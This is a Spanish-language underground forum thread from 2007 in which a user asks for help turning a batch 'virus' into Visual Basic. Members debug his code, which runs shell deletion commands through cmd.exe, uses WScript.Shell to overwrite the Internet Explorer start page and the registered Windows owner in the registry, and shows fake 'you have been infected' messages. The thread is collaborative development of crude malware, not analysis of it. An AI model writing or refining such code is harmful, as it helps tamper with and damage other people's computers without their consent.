Normas del foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Diciembre 02, 2008, 07:43:11
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Programacion  |  Programación  |  Visual Basic y Net (Moderador: ANYD00M)  |  Tema: VIRUS EN BATCH PASADO A VB 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: VIRUS EN BATCH PASADO A VB  (Leído 386 veces)
krosty478222
Recien Llegado
*
Desconectado Desconectado

Mensajes: 18


Ver Perfil Email
« en: Febrero 21, 2007, 07:08:27 »

juegos gratis
Buenas.
Tengo una duda MUY grande...
Hize un virus en batch, pero por motivos de que no lo podia ocultar y por agregar otras cosas lo pase a VB, porque asi me aconsejaron. El problema biene despues de crear el EXE, da error 434.
Entonces probe pedasos y me di cuenta que no me ejecutaba cosas...
Ej:
Shell ("cmd.exe") abre cmd, perfecto Tongue
Shell ("echo hola") error Tongue
shell ("del jaja.exe") error Tongue
Y asi con todo comando que quiera ejecutar :S
Alguien sabe a que se debe ?
Espero respuestas
gracias
salu2
En línea
sNipeR-
Visitante
« Respuesta #1 en: Febrero 22, 2007, 08:11:59 »

Para empezar creo k es muy malo usares el vb de esa forma... Deves hacer un virus en batch o un virus en vb. Se kieres utilizar el VB para compilar un batch y si no sabes hacer un compilador pues usa uno kualkier.

Ahora la question es k ese shell (un comando k es del vb) es utilizado para ejecutar ejecutables y no comandos como estas haciendo.

Aunk k te recomiendo k no lo hagas, la forma correcta seria:

shell "cmd.exe /c del jaja.exe"

Salu2
En línea
krosty478222
Recien Llegado
*
Desconectado Desconectado

Mensajes: 18


Ver Perfil Email
« Respuesta #2 en: Febrero 22, 2007, 09:02:12 »

Citar
Para empezar creo k es muy malo usares el vb de esa forma... Deves hacer un virus en batch o un virus en vb. Se kieres utilizar el VB para compilar un batch y si no sabes hacer un compilador pues usa uno kualkier.

Ahora la question es k ese shell (un comando k es del vb) es utilizado para ejecutar ejecutables y no comandos como estas haciendo.

Aunk k te recomiendo k no lo hagas, la forma correcta seria:

shell "cmd.exe /c del jaja.exe"
Primero antes que nada quiero agradecer tu respuesta, ya que en otros foros contestaron con pavadas y de mala manera Tongue
Código:
"cmd.exe /c del jaja.exe"
Para que agregastes el "/c" atras del cmd ?
Probe hacer Shell ("cmd.exe /c echo hola")
                    Shell ("cmd.exe /c pause")
Pero se ejecuta la shell y solo aparece el pause, el echo no aparece :S sabes a que se debe ?
Salu2   
En línea
Hendrix
Visitante
« Respuesta #3 en: Febrero 22, 2007, 11:49:53 »

para pasar parametros a la CMD aparte de usarse /C la primera vez, puedes "encadenar" comandos con el simbolo & o  &&. Por Ejemplo:

Código:
Shell "cmd.exe /C Echo Esto es una prueba && pause > nul && Exit"

En línea
sNipeR-
Visitante
« Respuesta #4 en: Febrero 22, 2007, 12:22:04 »

Pues para ejecutares como se fuera un batch tendras k ejecutar todo en la misma consola, osea como ha dicho hendrix. Lo k hecieste fue abrir varias consolas con comandos k no hacen sentido solos.

Salu2
En línea
krosty478222
Recien Llegado
*
Desconectado Desconectado

Mensajes: 18


Ver Perfil Email
« Respuesta #5 en: Febrero 22, 2007, 03:11:47 »

uuuu es imposible entonces pasar el virus ese a batch xD
Lo k ise entonces que nose me abia ocurrido xD
Fue: Crear un bat con el virus en bat. Y desde un VB le dia abrir ese archivo JOJO entonces si lo ejecuta.
Ahora tengo otro problemita Tongue
Que en otro foro vi un post de hendrix sobre gusanos, y habia un comando en VB.
Lo pongo pero me dice que hay demasiadas "funciones" (no me acuerdo bien k decia, pero era algo asi, como que pedia demasiadas cosas Tongue)
El code que le puse es este:

Código:
Open "C:\Windows\System32\Winlog.bat" For Output As #1
Set Worm = CreateObject("WScript.Shell")
Worm.RegWrite ("HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page"), "El destructor by Zeudon", "El destructor by Zeudon"
Set firma = CreateObject("WScript.Shell")
firma.RegWrite ("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization"), "Zeudon"
Set firma = CreateObject("WScript.Shell")
firma.RegWrite ("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner"), "Hackeador por:Zeudon"

Salu2
En línea
hackmexsatelite
Visitante
« Respuesta #6 en: Febrero 22, 2007, 03:26:27 »

Es porque creaste 2 veces un objeto con el mismo nombre el objeto es firma
mira como quedaria, es mas si quieres puedes solamente crear un objeto y usarlo
con todo:

Código:
Set Worm = CreateObject("WScript.Shell")
Worm.RegWrite ("HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page"), "El destructor by Zeudon", "El destructor by Zeudon"
Worm.RegWrite ("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization"), "Zeudon"
Worm.RegWrite ("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner"), "Hackeador por:Zeudon"

Para que abriste un fichero aqui??
Código:
Open "C:\Windows\System32\Winlog.bat" For Output As #1
En línea
krosty478222
Recien Llegado
*
Desconectado Desconectado

Mensajes: 18


Ver Perfil Email
« Respuesta #7 en: Febrero 22, 2007, 03:50:00 »

No recuerdo si es mio o lo copie del code que puso gendri lo dle archivo abierto Tongue
Ahora pruebo lo que me dijistes y t comento.
Salu2 gracias
En línea
krosty478222
Recien Llegado
*
Desconectado Desconectado

Mensajes: 18


Ver Perfil Email
« Respuesta #8 en: Febrero 22, 2007, 03:56:26 »

Use esto en mi pc para ver si salia:
Código:
Private Sub Form_Load()
Print "Acabas de ser infectado por "; El; destructor; ", creado por Zeudon. Hace un buckup de tus cosas... en unos instantes te kedas sin pc :P"
MsgBox "Usted a sido infectado por El destructor, gracias a Zeudon", vbCritical, "Su pc esta muerta"
Set Worm = CreateObject("WScript.Shell")
Worm.RegWrite ("HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page"), "El destructor by Zeudon", "El destructor by Zeudon"
Show
Print "Su msn ha sido borrado."
Print "Gracias por su tiempo."
End Sub

Y me tira:
Error 5 llamada a procedimiento o argumento no valido.

Esto a que se debe Huh
Código:
Worm.RegWrite
Porque aca agrega el worm adelante ?

Salu2
En línea
axera
Miembro
*****
Desconectado Desconectado

Mensajes: 68



Ver Perfil
« Respuesta #9 en: Febrero 22, 2007, 06:09:46 »

Bueno tal vez te este faltando declarar algunas cosas por ejemplo

Dim Worm as object

y con esto las declaraciones.. no soy muy bueno en esto pero tambien estoy aprendiendo...

espero que esto sea... necesitaria hacer lo en mi maquina para ver si furula como dices.. jeje salu2

By AXERA
En línea

hackmexsatelite
Visitante
« Respuesta #10 en: Febrero 22, 2007, 06:55:11 »

Aver en primeras, VB no es batch ok?

No puedes usar el print a menos que quieras que en el form aparesca el texto que
le pusiste asi:

*************************************
*--- lol ---                                       *- *O *X*
*************************************
*este es el texto con el print                       *
*                                                                   *
*                                                                   *
************************************
O si?

Respecto a lo de declarar las variables, en vb no es necesario a menos que al
principio del code tenga Option Explicit

el error esta en estas lineas:

Citar
Print "Acabas de ser infectado por "; El; destructor; ", creado por Zeudon. Hace un buckup de tus cosas... en unos instantes te kedas sin pc Tongue"
Quedaria asi:

Código:
Print "Acabas de ser infectado por El destructor creado por Zeudon. Hace un buckup de tus cosas... en unos instantes te kedas sin pc :P"

y aqui:

Código:
Show

Show que?? xD

Código:
Worm.RegWrite
Porque aca agrega el worm adelante ?

porque es el objeto que estas usando para manipular el registro y este se llama
WScript, tambien hay distintos objetos para distintas cosas

Saludos
En línea
krosty478222
Recien Llegado
*
Desconectado Desconectado

Mensajes: 18


Ver Perfil Email
« Respuesta #11 en: Febrero 22, 2007, 11:10:02 »

Citar
Aver en primeras, VB no es batch ok?
Lo se, es que por un lado tengo un VB q es lo k t di y por otra el bat entonces medianete el Vb llamo a un bat y ocntinuo con eso Tongue
Citar
Show que?? xD
Esto:
Print "Su msn ha sido borrado."
Print "Gracias por su tiempo."
Citar
porque es el objeto que estas usando para manipular el registro y este se llama
WScript, tambien hay distintos objetos para distintas cosas
Ok.
Salu2
En línea
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Programacion  |  Programación  |  Visual Basic y Net (Moderador: ANYD00M)  |  Tema: VIRUS EN BATCH PASADO A VB « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.7 | SMF © 2006-2007, Simple Machines LLC